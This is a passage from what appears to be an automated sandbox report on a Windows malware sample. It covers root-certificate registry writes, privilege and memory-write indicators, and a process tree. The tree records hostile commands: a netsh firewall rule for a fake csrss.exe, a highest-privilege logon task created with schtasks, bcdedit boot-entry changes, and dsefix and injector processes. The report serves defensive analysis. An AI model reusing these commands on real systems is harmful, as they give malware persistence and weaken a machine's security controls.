38329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 0f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e4030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47409000000010000000c000000300a06082b060105050703011d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c00b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f00740000000f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f20000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 19000000010000001000000068cb42b035ea773e52ef50ecf50ec5290f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae474040000000100000010000000acb694a59c17e0d791529bb19706a6e420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 patch.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exec7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exeinjector.execsrss.exepid process 2156 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 2764 csrss.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 2764 csrss.exe 1840 injector.exe 1840 injector.exe 2764 csrss.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe 1840 injector.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 480 -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.execsrss.exesc.exedescription pid process Token: SeDebugPrivilege 2156 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Token: SeImpersonatePrivilege 2156 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe Token: SeSystemEnvironmentPrivilege 2764 csrss.exe Token: SeSecurityPrivilege 1496 sc.exe Token: SeSecurityPrivilege 1496 sc.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.execmd.execsrss.exepatch.exewindefender.exedescription pid process target process PID 3028 wrote to memory of 2456 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe cmd.exe PID 3028 wrote to memory of 2456 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe cmd.exe PID 3028 wrote to memory of 2456 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe cmd.exe PID 3028 wrote to memory of 2456 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe cmd.exe PID 2456 wrote to memory of 1488 2456 cmd.exe netsh.exe PID 2456 wrote to memory of 1488 2456 cmd.exe netsh.exe PID 2456 wrote to memory of 1488 2456 cmd.exe netsh.exe PID 3028 wrote to memory of 2764 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe csrss.exe PID 3028 wrote to memory of 2764 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe csrss.exe PID 3028 wrote to memory of 2764 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe csrss.exe PID 3028 wrote to memory of 2764 3028 c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe csrss.exe PID 2764 wrote to memory of 1840 2764 csrss.exe injector.exe PID 2764 wrote to memory of 1840 2764 csrss.exe injector.exe PID 2764 wrote to memory of 1840 2764 csrss.exe injector.exe PID 2764 wrote to memory of 1840 2764 csrss.exe injector.exe PID 2468 wrote to memory of 1884 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1884 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1884 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1736 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1736 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1736 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 880 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 880 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 880 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2260 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2260 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2260 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2976 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2976 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2976 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1732 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1732 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1732 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 3008 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 3008 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 3008 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2688 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2688 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2688 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1632 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1632 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1632 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2492 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2492 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2492 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2156 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2156 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 2156 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1784 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1784 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1784 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1576 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1576 2468 patch.exe bcdedit.exe PID 2468 wrote to memory of 1576 2468 patch.exe bcdedit.exe PID 2764 wrote to memory of 2536 2764 csrss.exe bcdedit.exe PID 2764 wrote to memory of 2536 2764 csrss.exe bcdedit.exe PID 2764 wrote to memory of 2536 2764 csrss.exe bcdedit.exe PID 2764 wrote to memory of 2536 2764 csrss.exe bcdedit.exe PID 2764 wrote to memory of 2392 2764 csrss.exe dsefix.exe PID 2764 wrote to memory of 2392 2764 csrss.exe dsefix.exe PID 2764 wrote to memory of 2392 2764 csrss.exe dsefix.exe PID 2764 wrote to memory of 2392 2764 csrss.exe dsefix.exe PID 2520 wrote to memory of 2888 2520 windefender.exe cmd.exe PID 2520 wrote to memory of 2888 2520 windefender.exe cmd.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe"C:\Users\Admin\AppData\Local\Temp\c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe"C:\Users\Admin\AppData\Local\Temp\c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Manipulates WinMon driver.
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows5⤵
- Modifies boot configuration data using bcdedit
